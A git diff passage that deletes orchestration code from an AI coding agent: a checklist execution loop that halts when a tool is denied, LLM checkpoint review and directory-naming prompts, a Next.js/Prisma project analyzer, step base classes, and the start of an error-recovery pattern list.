validation_logs=previous_validation_logs, - ) - - if not checklist.is_valid: - logger.error( - "Invalid checklist (iteration %d): %s", - iteration, - checklist.validation_errors, - ) - try: - checklist_dump = json.dumps(checklist.to_dict(), indent=2) - except Exception: # pylint: disable=broad-exception-caught - checklist_dump = str(checklist) - logger.error("Invalid checklist payload: %s", checklist_dump) - if self.console: - self.console.pretty_print_json( - checklist.to_dict(), title="Invalid Checklist" - ) - combined_errors.extend(checklist.validation_errors) - assessment = CheckpointAssessment( - status="needs_fix", - reasoning="Checklist validation failed", - issues=checklist.validation_errors.copy(), - fix_instructions=checklist.validation_errors.copy(), - ) - iteration_outputs.append( - { - "iteration": iteration, - "checklist": checklist.to_dict(), - "execution": None, - "assessment": assessment.to_dict(), - } - ) - break - - logger.debug( - "Generated checklist with %d items: %s", - len(checklist.items), - checklist.reasoning, - ) - - checklist_result = self.checklist_executor.execute( - checklist, context, step_through=step_through - ) - - total_steps += len(checklist_result.item_results) - steps_succeeded += checklist_result.items_succeeded - steps_failed += checklist_result.items_failed - combined_errors.extend(checklist_result.errors) - - aggregated_validation_logs.extend(checklist_result.validation_logs) - previous_execution_errors = checklist_result.errors.copy() - previous_validation_logs = checklist_result.validation_logs.copy() - - # A required tool was blocked at the confirmation gate. Planning - # another checklist would re-prompt for the same work, so stop. - # Quote the underlying reason — a denial can be the user declining, - # a prompt timeout, or a governance policy, and only the first has - # something for the user to approve. - if checklist_result.denied: - reason = ( - checklist_result.errors[-1] - if checklist_result.errors - else "a required tool was denied." - ) - denial_message = ( - f"Execution stopped: {reason} Nothing further was run — " - "re-run once that tool is permitted, or rephrase the " - "request so it is not needed." - ) - logger.error(denial_message) - if self.console: - self.console.print_error(denial_message) - combined_errors.append(denial_message) - iteration_outputs.append( - { - "iteration": iteration, - "checklist": checklist.to_dict(), - "execution": { - "summary": checklist_result.summary, - "success": False, - "files": checklist_result.total_files, - "errors": checklist_result.errors, - "warnings": checklist_result.warnings, - "item_results": [ - r.to_dict() for r in checklist_result.item_results - ], - "validation_logs": [ - log.to_dict() - for log in checklist_result.validation_logs - ], - }, - "assessment": CheckpointAssessment( - status="denied", - reasoning=denial_message, - issues=[denial_message], - ).to_dict(), - } - ) - break - - logger.info("Assessing application state after iteration %d", iteration) - if self.console: - self.console.print_info( - f"Assessing application state after iteration {iteration}" - ) - assessment = self._assess_checkpoint( - context=context, - checklist=checklist, - execution_result=checklist_result, - validation_history=aggregated_validation_logs, - ) - if assessment.needs_fix: - logger.info( - "Application not ready after iteration %d, planning another checklist: %s", - iteration, - assessment.reasoning or "no reasoning provided", - ) - if self.console: - self.console.print_info( - "Application not ready; preparing another checklist." - ) - else: - logger.info( - "Application marked complete after iteration %d: %s", - iteration, - assessment.reasoning or "no reasoning provided", - ) - if self.console: - self.console.print_success("Application marked complete.") - - iteration_outputs.append( - { - "iteration": iteration, - "checklist": checklist.to_dict(), - "execution": { - "summary": checklist_result.summary, - "success": checklist_result.success, - "files": checklist_result.total_files, - "errors": checklist_result.errors, - "warnings": checklist_result.warnings, - "item_results": [ - r.to_dict() for r in checklist_result.item_results - ], - "validation_logs": [ - log.to_dict() for log in checklist_result.validation_logs - ], - }, - "assessment": assessment.to_dict(), - } - ) - - if not assessment.needs_fix: - success = ( - checklist_result.success and assessment.status.lower() == "complete" - ) - break - - instructions = assessment.fix_instructions or assessment.issues - if not instructions and assessment.reasoning: - instructions = [assessment.reasoning] - if instructions: - fix_feedback.extend(instructions) - - else: - combined_errors.append( - f"Reached maximum checklist iterations ({self.max_checklist_loops}) without passing validation" - ) - - latest_execution = None - latest_checklist = None - if iteration_outputs: - latest_entry = iteration_outputs[-1] - latest_execution = latest_entry.get("execution") - latest_checklist = latest_entry.get("checklist") - - outputs = { - "iterations": iteration_outputs, - "validation_logs": [log.to_dict() for log in aggregated_validation_logs], - "fix_feedback": fix_feedback, - "project_dir": context.project_dir, - } - - if latest_execution: - outputs["files"] = latest_execution.get("files", []) - outputs["detailed_results"] = latest_execution.get("item_results", []) - if latest_checklist: - outputs["checklist"] = latest_checklist - - return ExecutionResult( - success=success, - phases_completed=["checklist"] if success else [], - phases_failed=[] if success else ["checklist"], - total_steps=total_steps, - steps_succeeded=steps_succeeded, - steps_failed=steps_failed, - steps_skipped=0, - errors=combined_errors, - outputs=outputs, - ) - - def _run_command(self, command: str, cwd: Optional[str] = None) -> tuple[int, str]: - """Run a shell command. - - Args: - command: Command to run - cwd: Working directory - - Returns: - Tuple of (exit_code, output) - """ - try: - result = subprocess.run( - command, - shell=True, - cwd=cwd, - capture_output=True, - text=True, - timeout=1200, - check=False, # We handle return codes ourselves - ) - output = result.stdout + result.stderr - return result.returncode, output - except subprocess.TimeoutExpired: - return 1, "Command timed out" - except Exception as e: - return 1, str(e) - - def _checklist_progress_callback( - self, description: str, current: int, total: int - ) -> None: - """Progress callback adapter for checklist execution. - - Converts checklist progress format to the standard progress format. - - Args: - description: Current item description - current: Current item number - total: Total items - """ - if self.progress_callback: - self.progress_callback("checklist", description, current, total) - - def _assess_checkpoint( - self, - context: UserContext, - checklist: Any, - execution_result: Any, - validation_history: List[Any], - ) -> CheckpointAssessment: - """Ask the LLM whether the workflow is complete or needs another checklist.""" - prompt = self._build_checkpoint_prompt( - context=context, - checklist=checklist, - execution_result=execution_result, - validation_history=validation_history, - ) - - try: - response = self.llm_client.send(prompt, timeout=1200) - data = self._parse_checkpoint_response(response) - return CheckpointAssessment( - status=data.get("status", "needs_fix"), - reasoning=data.get("reasoning", ""), - issues=data.get("issues", []), - fix_instructions=data.get("fix_instructions", []), - ) - except Exception as exc: # pylint: disable=broad-exception-caught - logger.exception("Checkpoint assessment failed") - return CheckpointAssessment( - status="needs_fix", - reasoning="Failed to interpret checkpoint reviewer output", - issues=[f"Checkpoint reviewer error: {exc}"], - fix_instructions=[ - "Inspect validation logs, then fix the root cause using fix_code." - ], - ) - - def _build_checkpoint_prompt( - self, - context: UserContext, - checklist: Any, - execution_result: Any, - validation_history: List[Any], - ) -> str: - """Build the prompt for the checkpoint reviewer.""" - validation_summary = self._format_validation_history( - validation_history, getattr(execution_result, "validation_logs", None) - ) - - outstanding = ( - "\n".join(f"- {item}" for item in context.fix_feedback) - if context.fix_feedback - else "None" - ) - - errors = execution_result.errors or ["None"] - warnings = execution_result.warnings or [] - - sections = [ - CHECKPOINT_REVIEW_PROMPT.strip(), - "", - "## User Request", - context.user_request, - "", - "## Latest Checklist Plan", - f"Reasoning: {checklist.reasoning}", - "", - "## Execution Summary", - execution_result.summary, - "", - "## Execution Errors", - "\n".join(f"- {err}" for err in errors), - "", - "## Execution Warnings", - "\n".join(f"- {warn}" for warn in warnings) if warnings else "None", - "", - "## Validation & Test Logs", - validation_summary, - "", - "## Outstanding Fix Requests", - outstanding, - ] - - return "\n".join(sections) - - def _maybe_summarize_conversation_history(self) -> Optional[str]: - """Trigger AgentSDK conversation summarization when available.""" - chat_sdk = getattr(self, "llm_client", None) - if not chat_sdk or not hasattr(chat_sdk, "summarize_conversation_history"): - return None - - try: - summary = chat_sdk.summarize_conversation_history( - max_history_tokens=MAX_CHAT_HISTORY_TOKENS - ) - if summary: - logger.info( - "Conversation history summarized to ~%d tokens", - _estimate_token_count(summary), - ) - return summary - except Exception as exc: # pylint: disable=broad-exception-caught - logger.exception("Failed to summarize conversation history: %s", exc) - return None - - def _prepare_project_directory(self, context: UserContext) -> str: - """ - Ensure the project directory is ready for creation workflows. - - If the provided path exists and is non-empty without an existing project, - pick a unique subdirectory via the LLM to avoid create-next-app failures. - """ - base_path = Path(context.project_dir).expanduser() - if base_path.exists() and not base_path.is_dir(): - raise ProjectDirectoryError( - f"Provided path is not a directory: {base_path}" - ) - - if not base_path.exists(): - base_path.mkdir(parents=True, exist_ok=True) - logger.info("Created project directory: %s", base_path) - return str(base_path) - - existing_entries = [p.name for p in base_path.iterdir()] - if not existing_entries: - return str(base_path) - - if self.console: - self.console.print_warning( - f"Target directory {base_path} is not empty; selecting a new subdirectory." - ) - - suggested = self._choose_subdirectory_name( - base_path, existing_entries, context.user_request - ) - if not suggested: - raise ProjectDirectoryError( - f"Unable to find an available project name under {base_path}. " - "Provide one explicitly with --path." - ) - - new_dir = base_path / suggested - new_dir.mkdir(parents=False, exist_ok=False) - logger.info("Using nested project directory: %s", new_dir) - # Align process cwd with the newly created project directory. - try: - os.chdir(new_dir) - except OSError as exc: - logger.warning("Failed to chdir to %s: %s", new_dir, exc) - if self.console: - self.console.print_info(f"Using project directory: {new_dir}") - return str(new_dir) - - def _choose_subdirectory_name( - self, base_path: Path, existing_entries: List[str], user_request: str - ) -> Optional[str]: - """Ask the LLM for a unique subdirectory name, retrying on conflicts.""" - existing_lower = {name.lower() for name in existing_entries} - prompt = self._build_directory_prompt( - base_path, existing_entries, user_request, None - ) - last_reason = None - - system_prompt = "You suggest concise folder names for new projects." - - for attempt in range(1, 4): - try: - response = self._send_prompt_without_history( - prompt, timeout=120, system_prompt=system_prompt - ) - except Exception as exc: # pylint: disable=broad-exception-caught - last_reason = f"LLM error on attempt {attempt}: {exc}" - logger.warning(last_reason) - prompt = self._build_directory_prompt( - base_path, existing_entries, user_request, last_reason - ) - continue - - raw_response = self._extract_response_text(response) - candidate = self._sanitize_directory_name(raw_response) - if not candidate: - last_reason = "LLM returned an empty or invalid directory name." - elif candidate.lower() in existing_lower: - last_reason = f"Name '{candidate}' already exists in {base_path}." - elif "/" in candidate or "\\" in candidate or ".." in candidate: - last_reason = "Directory name contained path separators or traversal." - elif len(candidate) > 64: - last_reason = "Directory name exceeded 64 characters." - else: - candidate_path = base_path / candidate - if candidate_path.exists(): - last_reason = f"Directory '{candidate}' already exists." - else: - return candidate - - logger.warning( - "Directory name attempt %d rejected: %s", attempt, last_reason - ) - prompt = self._build_directory_prompt( - base_path, existing_entries, user_request, last_reason - ) - - return None - - @staticmethod - def _sanitize_directory_name(raw: str) -> str: - """Normalize LLM output to a filesystem-safe directory name.""" - if not raw: - return "" - candidate = raw.strip().strip("`'\"") - candidate = candidate.splitlines()[0].strip() - candidate = re.sub(r"[^A-Za-z0-9_-]+", "-", candidate) - return candidate.strip("-_").lower() - - def _send_prompt_without_history( - self, prompt: str, timeout: int = 120, system_prompt: Optional[str] = None - ) -> Any: - """ - Send a prompt without reading from or writing to chat history. - - Prefers the underlying LLM client's `generate` API when available, - falling back to `send(..., no_history=True)` for compatibility. - """ - # If the AgentSDK exposes the underlying LLM client, use it directly with chat messages - # to avoid any stored history and ensure system prompts are applied cleanly. - llm_client = getattr(self.llm_client, "llm_client", None) - if llm_client and hasattr(llm_client, "generate"): - model = getattr(getattr(self.llm_client, "config", None), "model", None) - messages = [] - if system_prompt: - messages.append({"role": "system", "content": system_prompt}) - messages.append({"role": "user", "content": prompt}) - return llm_client.generate( - prompt=prompt, - messages=messages, - model=model, - timeout=timeout, - endpoint="chat", - ) - - # Fallback: use send with no_history to avoid persisting messages. - if hasattr(self.llm_client, "send"): - return self.llm_client.send( - prompt, timeout=timeout, no_history=True, system_prompt=system_prompt - ) - - raise ValueError("LLM client does not support generate or send APIs") - - @staticmethod - def _build_directory_prompt( - base_path: Path, - existing_entries: List[str], - user_request: Optional[str], - rejection_reason: Optional[str], - ) -> str: - """Construct the LLM prompt for picking a safe project subdirectory.""" - entries = sorted(existing_entries) - max_list = 50 - if len(entries) > max_list: - entries_display = "\n".join(f"- {name}" for name in entries[:max_list]) - entries_display += f"\n- ...and {len(entries) - max_list} more" - else: - entries_display = "\n".join(f"- {name}" for name in entries) - - prompt_sections = [ - "You must choose a new folder name for a project because the target path is not empty.", - f"Base path: {base_path}", - "Existing files and folders you MUST avoid (do not reuse any of these names):", - entries_display or "- ", - "User request driving this project:", - user_request or "", - "Rules:", - "- Return a single folder name only. Do NOT echo the instructions. No paths, quotes, JSON, or extra text.", - "- Use lowercase kebab-case or snake_case; ASCII letters, numbers, hyphens, and underscores only.", - "- Do not use any existing names above. Avoid dots, spaces, or slashes.", - "- Keep it under 40 characters.", - ] - - if rejection_reason: - prompt_sections.append( - f"Previous suggestion was rejected: {rejection_reason}. Try a different unique name." - ) - - return "\n".join(prompt_sections) - - def _format_validation_history( - self, validation_history: List[Any], latest_plan_logs: Optional[List[Any]] - ) -> str: - """Format validation logs, splitting latest plan from historical ones.""" - - if not validation_history: - return "No validation or test commands have been executed yet." - - latest_logs = latest_plan_logs or [] - latest_count = len(latest_logs) - historical_logs = ( - validation_history[:-latest_count] if latest_count else validation_history - ) - - def normalize(entry: Any) -> Dict[str, Any]: - if hasattr(entry, "to_dict"): - return entry.to_dict() - if isinstance(entry, dict): - return entry - return {} - - def render(entries: List[Any], limit: Optional[int] = None) -> List[str]: - if not entries: - return ["None"] - - selected = entries if limit is None else entries[-limit:] - lines: List[str] = [] - for entry in selected: - data = normalize(entry) - template = data.get("template", "unknown") - description = data.get("description", "") - success = data.get("success", True) - status = "PASS" if success else "FAIL" - error = data.get("error") - output = data.get("output", {}) - - lines.append(f"- [{status}] {template}: {description}") - if error: - lines.append(f" Error: {error}") - - snippet = "" - if isinstance(output, dict): - for key in ("stdout", "stderr", "message", "log", "details"): - if output.get(key): - snippet = str(output[key]) - break - if not snippet and output: - snippet = json.dumps(output)[:400] - elif output: - snippet = str(output)[:400] - - snippet = snippet.strip() - if snippet: - lines.append(f" Output: {snippet[:400]}") - return lines - - sections: List[str] = [] - sections.append("### Latest Plan Results") - sections.extend(render(list(latest_logs))) - sections.append("") - sections.append("### Previous Plan History") - sections.extend(render(list(historical_logs), limit=5)) - - return "\n".join(sections).strip() - - def _parse_checkpoint_response(self, response: Any) -> Dict[str, Any]: - """Parse JSON output from the checkpoint reviewer.""" - text = self._extract_response_text(response) - json_str = self._extract_json(text) - return json.loads(json_str) - - @staticmethod - def _extract_response_text(response: Any) -> str: - """Normalize SDK response objects to raw text.""" - if isinstance(response, str): - return response - if hasattr(response, "text"): - return response.text - if hasattr(response, "content"): - return response.content - if isinstance(response, dict): - return response.get("text", response.get("content", str(response))) - return str(response) - - @staticmethod - def _extract_json(text: str) -> str: - """Extract JSON blob from arbitrary text (markdown-safe).""" - code_block = re.search(r"```(?:json)?\s*\n?(.*?)\n?```", text, re.DOTALL) - if code_block: - return code_block.group(1).strip() - - json_match = re.search(r"\{.*\}", text, re.DOTALL) - if json_match: - return json_match.group(0) - - return text.strip() diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/project_analyzer.py b/hub/agents/code/python/gaia_agent_code/orchestration/project_analyzer.py deleted file mode 100644 index 6a7893d00..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/project_analyzer.py +++ /dev/null @@ -1,391 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Project Analyzer for Understanding Current Project State. - -This module analyzes the current state of a project directory to provide -context for the LLM during checklist generation. It detects: -- Whether the project exists -- What framework/tools are configured -- What models/routes/pages already exist - -This information helps the LLM generate a checklist that: -- Doesn't recreate things that already exist -- Builds on existing infrastructure -- Fills in missing pieces -""" - -import json -import logging -import re -from pathlib import Path -from typing import List - -from .checklist_generator import ProjectState - -logger = logging.getLogger(__name__) - - -class ProjectAnalyzer: - """Analyze project state for LLM context. - - Provides detailed information about what exists in a project - so the LLM can generate appropriate checklists. - """ - - def analyze(self, project_dir: str) -> ProjectState: - """Analyze a project directory. - - Args: - project_dir: Path to project directory - - Returns: - ProjectState with analysis results - """ - project_path = Path(project_dir) - - if not project_path.exists(): - logger.info(f"Project directory does not exist: {project_dir}") - return ProjectState(exists=False) - - state = ProjectState(exists=True) - - # Check for package.json (Node.js project) - package_json = project_path / "package.json" - if package_json.exists(): - state.has_package_json = True - self._analyze_package_json(package_json, state) - - # Check for Next.js config - next_config = project_path / "next.config.ts" - if not next_config.exists(): - next_config = project_path / "next.config.js" - if not next_config.exists(): - next_config = project_path / "next.config.mjs" - state.has_next_config = next_config.exists() - - # Check for Prisma - prisma_schema = project_path / "prisma" / "schema.prisma" - if prisma_schema.exists(): - state.has_prisma = True - state.existing_models = self._analyze_prisma_schema(prisma_schema) - - # Analyze existing routes - api_dir = project_path / "src" / "app" / "api" - if api_dir.exists(): - state.existing_routes = self._analyze_api_routes(api_dir) - - # Analyze existing pages - app_dir = project_path / "src" / "app" - if app_dir.exists(): - state.existing_pages = self._analyze_pages(app_dir) - - logger.debug(f"Project analysis complete: {state.to_prompt()}") - return state - - def _analyze_package_json(self, package_path: Path, state: ProjectState) -> None: - """Analyze package.json for dependencies. - - Args: - package_path: Path to package.json - state: ProjectState to update - """ - try: - content = json.loads(package_path.read_text()) - deps = content.get("dependencies", {}) - dev_deps = content.get("devDependencies", {}) - all_deps = {**deps, **dev_deps} - - # Check for common dependencies - if "prisma" in all_deps or "@prisma/client" in all_deps: - state.has_prisma = True - - except json.JSONDecodeError: - logger.warning(f"Could not parse package.json: {package_path}") - - def _analyze_prisma_schema(self, schema_path: Path) -> List[str]: - """Extract model names from Prisma schema. - - Args: - schema_path: Path to schema.prisma - - Returns: - List of model names - """ - models = [] - try: - content = schema_path.read_text() - - # Find all model definitions - model_pattern = r"model\s+(\w+)\s*\{" - matches = re.findall(model_pattern, content) - models = list(matches) - - logger.debug(f"Found Prisma models: {models}") - - except Exception as e: - logger.warning(f"Could not parse Prisma schema: {e}") - - return models - - def _analyze_api_routes(self, api_dir: Path) -> List[str]: - """Find existing API routes. - - Args: - api_dir: Path to src/app/api directory - - Returns: - List of route paths (e.g., ["/todos", "/users"]) - """ - routes = [] - - try: - for route_file in api_dir.rglob("route.ts"): - # Extract route path from file location - relative = route_file.relative_to(api_dir) - parts = list(relative.parts[:-1]) # Remove "route.ts" - - if parts: - route_path = "/" + "/".join(parts) - routes.append(route_path) - - logger.debug(f"Found API routes: {routes}") - - except Exception as e: - logger.warning(f"Could not analyze API routes: {e}") - - return routes - - def _analyze_pages(self, app_dir: Path) -> List[str]: - """Find existing pages. - - Args: - app_dir: Path to src/app directory - - Returns: - List of page paths (e.g., ["/", "/todos", "/todos/new"]) - """ - pages = [] - - try: - for page_file in app_dir.rglob("page.tsx"): - # Extract page path from file location - relative = page_file.relative_to(app_dir) - parts = list(relative.parts[:-1]) # Remove "page.tsx" - - if not parts: - pages.append("/") - else: - # Skip API routes - if parts[0] == "api": - continue - page_path = "/" + "/".join(parts) - pages.append(page_path) - - logger.debug(f"Found pages: {pages}") - - except Exception as e: - logger.warning(f"Could not analyze pages: {e}") - - return pages - - -def analyze_project(project_dir: str) -> ProjectState: - """Convenience function to analyze a project. - - Args: - project_dir: Path to project directory - - Returns: - ProjectState with analysis results - """ - analyzer = ProjectAnalyzer() - return analyzer.analyze(project_dir) - - -def get_missing_crud_parts( - state: ProjectState, - resource_name: str, -) -> List[str]: - """Determine what CRUD parts are missing for a resource. - - Args: - state: Current project state - resource_name: Resource to check (singular, lowercase) - - Returns: - List of missing parts (e.g., ["api_collection", "list_page"]) - """ - missing = [] - resource_plural = resource_name + "s" # Simple pluralization - - # Check model - model_name = resource_name.capitalize() - if model_name not in state.existing_models: - missing.append("prisma_model") - - # Check API routes - collection_route = f"/{resource_plural}" - item_route = f"/{resource_plural}/[id]" - - if collection_route not in state.existing_routes: - missing.append("api_collection") - if item_route not in state.existing_routes: - missing.append("api_item") - - # Check pages - list_page = f"/{resource_plural}" - new_page = f"/{resource_plural}/new" - detail_page = f"/{resource_plural}/[id]" - - if list_page not in state.existing_pages: - missing.append("list_page") - if new_page not in state.existing_pages: - missing.append("new_page") - if detail_page not in state.existing_pages: - missing.append("detail_page") - - return missing - - -def suggest_checklist_items( - state: ProjectState, - resource_name: str, - fields: dict, -) -> List[dict]: - """Suggest checklist items based on project state. - - This is a helper for testing/comparison with LLM-generated checklists. - - Args: - state: Current project state - resource_name: Resource to create - fields: Field definitions for the resource - - Returns: - List of suggested checklist item dictionaries - """ - items = [] - resource = resource_name.lower() - Resource = resource_name.capitalize() - - # Check what's missing - missing = get_missing_crud_parts(state, resource) - - # Setup items (if project doesn't exist or is incomplete) - if not state.has_package_json: - items.append( - { - "template": "create_next_app", - "params": {"project_name": f"{resource}-app"}, - "description": "Initialize Next.js project", - } - ) - items.append( - { - "template": "setup_app_styling", - "params": {"app_title": f"{Resource} App"}, - "description": "Configure modern styling", - } - ) - - if not state.has_prisma: - items.append( - { - "template": "setup_prisma", - "params": {}, - "description": "Initialize Prisma ORM", - } - ) - - # Data model - if "prisma_model" in missing: - items.append( - { - "template": "generate_prisma_model", - "params": {"model_name": Resource, "fields": fields}, - "description": f"Define {Resource} database model", - } - ) - - # API routes - if "api_collection" in missing: - items.append( - { - "template": "generate_api_route", - "params": { - "resource": resource, - "operations": ["GET", "POST"], - "type": "collection", - }, - "description": f"Create API for listing and creating {resource}s", - } - ) - - if "api_item" in missing: - items.append( - { - "template": "generate_api_route", - "params": { - "resource": resource, - "operations": ["GET", "PATCH", "DELETE"], - "type": "item", - }, - "description": f"Create API for single {resource} operations", - } - ) - - # UI components - if "list_page" in missing: - items.append( - { - "template": "generate_react_component", - "params": {"resource": resource, "variant": "list"}, - "description": f"List page showing all {resource}s", - } - ) - - # Form component (always needed if any UI is missing) - if any(p in missing for p in ["new_page", "detail_page"]): - items.append( - { - "template": "generate_react_component", - "params": {"resource": resource, "variant": "form"}, - "description": "Form component for create/edit", - } - ) - - if "new_page" in missing: - items.append( - { - "template": "generate_react_component", - "params": {"resource": resource, "variant": "new"}, - "description": f"Create new {resource} page", - } - ) - - if "detail_page" in missing: - items.append( - { - "template": "generate_react_component", - "params": {"resource": resource, "variant": "detail"}, - "description": f"View/edit {resource} page", - } - ) - items.append( - { - "template": "generate_react_component", - "params": {"resource": resource, "variant": "actions"}, - "description": "Edit/delete buttons component", - } - ) - - # Landing page update - items.append( - { - "template": "update_landing_page", - "params": {"resource": resource}, - "description": f"Add navigation to {resource}s", - } - ) - - return items diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/steps/__init__.py b/hub/agents/code/python/gaia_agent_code/orchestration/steps/__init__.py deleted file mode 100644 index 02fb0ade1..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/steps/__init__.py +++ /dev/null @@ -1,67 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Step implementations for orchestration workflows.""" - -from .base import BaseStep, ErrorCategory, StepResult, StepStatus, UserContext -from .error_handler import ErrorHandler, RecoveryAction - -# Next.js steps -from .nextjs import ( - CreateNextAppStep, - InstallDependenciesStep, - ManageApiEndpointDynamicStep, - ManageApiEndpointStep, - ManageDataModelStep, - ManageReactComponentStep, - PrismaInitStep, - RunTestsStep, - SetupTestingStep, - TestCrudApiStep, - UpdateLandingPageStep, - ValidateCrudStructureStep, - ValidateTypescriptStep, -) - -# Python steps -from .python import ( - AnalyzePylintStep, - AutoFixSyntaxStep, - CreateProjectStep, - FixLintingStep, - ListFilesStep, - RunPytestStep, - ValidateProjectStep, -) - -__all__ = [ - # Base - "BaseStep", - "StepResult", - "StepStatus", - "ErrorCategory", - "UserContext", - "ErrorHandler", - "RecoveryAction", - # Next.js steps - "CreateNextAppStep", - "InstallDependenciesStep", - "PrismaInitStep", - "ManageDataModelStep", - "ManageApiEndpointStep", - "ManageApiEndpointDynamicStep", - "ManageReactComponentStep", - "ValidateCrudStructureStep", - "ValidateTypescriptStep", - "TestCrudApiStep", - "UpdateLandingPageStep", - "SetupTestingStep", - "RunTestsStep", - # Python steps - "CreateProjectStep", - "ListFilesStep", - "ValidateProjectStep", - "AutoFixSyntaxStep", - "AnalyzePylintStep", - "FixLintingStep", - "RunPytestStep", -] diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/steps/base.py b/hub/agents/code/python/gaia_agent_code/orchestration/steps/base.py deleted file mode 100644 index 288698e07..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/steps/base.py +++ /dev/null @@ -1,188 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Base step classes for orchestration workflows. - -Provides unified interfaces for workflow steps with standardized results. -""" - -from abc import ABC, abstractmethod -from dataclasses import dataclass, field -from enum import Enum, auto -from typing import Any, Callable, Dict, List, Optional, Tuple - - -class StepStatus(Enum): - """Status of a step execution.""" - - SUCCESS = auto() - WARNING = auto() # Succeeded with warnings - ERROR = auto() - SKIPPED = auto() # Step was skipped (e.g., already done) - - -class ErrorCategory(Enum): - """Categories of errors for recovery routing.""" - - UNKNOWN = auto() - NETWORK = auto() # Transient network errors - RESOURCE = auto() # Resource unavailable (disk, memory) - DEPENDENCY = auto() # Missing dependency - COMPILATION = auto() # TypeScript, build errors - SYNTAX = auto() # Code syntax errors - RUNTIME = auto() # Runtime execution errors - VALIDATION = auto() # Lint, type check failures - CONFIGURATION = auto() # Config file issues - - -@dataclass -class StepResult: - """Unified result format for all step executions. - - Replaces inconsistent patterns like: - - {"success": True, "files": [...]} - - {"status": "ok", "output": "..."} - - {"has_errors": False, "return_code": 0} - - With a single consistent interface. - """ - - status: StepStatus - message: str - error_message: Optional[str] = None - error_category: ErrorCategory = ErrorCategory.UNKNOWN - output: Dict[str, Any] = field(default_factory=dict) - retryable: bool = True - - @property - def success(self) -> bool: - """Check if step completed successfully (including with warnings).""" - return self.status in (StepStatus.SUCCESS, StepStatus.WARNING) - - @property - def error(self) -> Optional[str]: - """Get error message (alias for error_message).""" - return self.error_message - - @classmethod - def ok(cls, message: str, **output) -> "StepResult": - """Create a successful result.""" - return cls(status=StepStatus.SUCCESS, message=message, output=output) - - @classmethod - def warning(cls, message: str, **output) -> "StepResult": - """Create a warning result (success with caveats).""" - return cls(status=StepStatus.WARNING, message=message, output=output) - - @classmethod - def make_error( - cls, - message: str, - error_msg: str, - category: ErrorCategory = ErrorCategory.UNKNOWN, - retryable: bool = True, - **output, - ) -> "StepResult": - """Create an error result.""" - return cls( - status=StepStatus.ERROR, - message=message, - error_message=error_msg, - error_category=category, - retryable=retryable, - output=output, - ) - - @classmethod - def skipped(cls, message: str, **output) -> "StepResult": - """Create a skipped result.""" - return cls(status=StepStatus.SKIPPED, message=message, output=output) - - -@dataclass -class UserContext: - """Context passed through workflow execution. - - Contains user request info and accumulated state from previous steps. - """ - - user_request: str - project_dir: str - language: str = "typescript" - project_type: str = "fullstack" - entity_name: Optional[str] = None # e.g., "Todo", "User" - schema_fields: Optional[Dict[str, str]] = None # e.g., {"title": "string"} - accumulated_files: Dict[str, str] = field(default_factory=dict) - step_outputs: Dict[str, Any] = field(default_factory=dict) - fix_feedback: List[str] = field(default_factory=list) - validation_reports: List[Dict[str, Any]] = field(default_factory=list) - - -@dataclass -class BaseStep(ABC): - """Abstract base class for workflow steps. - - Steps wrap tool invocations with standardized result handling. - The orchestrator calls steps, which return tool invocation specs. - The orchestrator executes the tool and passes results back to the step. - """ - - name: str - description: str = "" - - @abstractmethod - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return the tool name and arguments to execute. - - Args: - context: Current workflow context with user request and state - - Returns: - Tuple of (tool_name, tool_args) or None to skip this step - """ - - @abstractmethod - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert raw tool result to standardized StepResult. - - Args: - result: Raw result from tool execution - context: Current workflow context - - Returns: - Standardized StepResult - """ - - def should_skip(self, context: UserContext) -> Optional[str]: # noqa: ARG002 - """Check if this step should be skipped. - - Args: - context: Current workflow context - - Returns: - Reason string if should skip, None otherwise - """ - # Default: don't skip. Subclasses override to add skip logic. - del context # Unused in base class - return None - - def validate_preconditions( - self, context: UserContext - ) -> Optional[str]: # noqa: ARG002 - """Validate that preconditions for this step are met. - - Args: - context: Current workflow context - - Returns: - Error message if preconditions not met, None otherwise - """ - # Default: no preconditions. Subclasses override. - del context # Unused in base class - return None - - -# Type alias for tool executor function -ToolExecutor = Callable[[str, Dict[str, Any]], Any] diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/steps/error_handler.py b/hub/agents/code/python/gaia_agent_code/orchestration/steps/error_handler.py deleted file mode 100644 index 5f509eaa2..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/steps/error_handler.py +++ /dev/null @@ -1,314 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Three-tier error recovery for orchestration workflows. - -Provides intelligent error handling with: -- RETRY: For transient errors (network, resources) -- FIX_AND_RETRY: For known fixable errors (missing deps, compilation) -- ESCALATE: For complex errors requiring LLM intervention -""" - -import logging -import re -import time -from dataclasses import dataclass -from enum import Enum, auto -from typing import Any, Callable, Dict, List, Optional, Tuple - -from .base import ErrorCategory - -logger = logging.getLogger(__name__) - - -class RecoveryAction(Enum): - """Actions the error handler can take.""" - - RETRY = auto() # Wait and retry same operation - FIX_AND_RETRY = auto() # Execute fix, then retry - ESCALATE = auto() # Use LLM to diagnose and fix - ABORT = auto() # Give up, unrecoverable - - -@dataclass -class ErrorPattern: - """Pattern for matching and handling specific errors.""" - - pattern: str # Regex pattern to match - category: ErrorCategory - action: RecoveryAction - fix_command: Optional[str] = None # Command to run for FIX_AND_RETRY - max_retries: int = 2 - delay_seconds: float = 1.0 - - -# Error patterns based on existing cli_tools.py ERROR_PATTERNS -ERROR_PATTERNS: List[ErrorPattern] = [ - # Network errors - retry - ErrorPattern( - pattern=r"ECONNREFUSED|ETIMEDOUT|ENOTFOUND|network\s+error", - category=ErrorCategory.NETWORK, - action=RecoveryAction.RETRY, - max_retries=3, - delay_seconds=2.0, - ), - # Resource errors - retry with delay - ErrorPattern( - pattern=r"ENOSPC|ENOMEM|out\s+of\s+memory", - 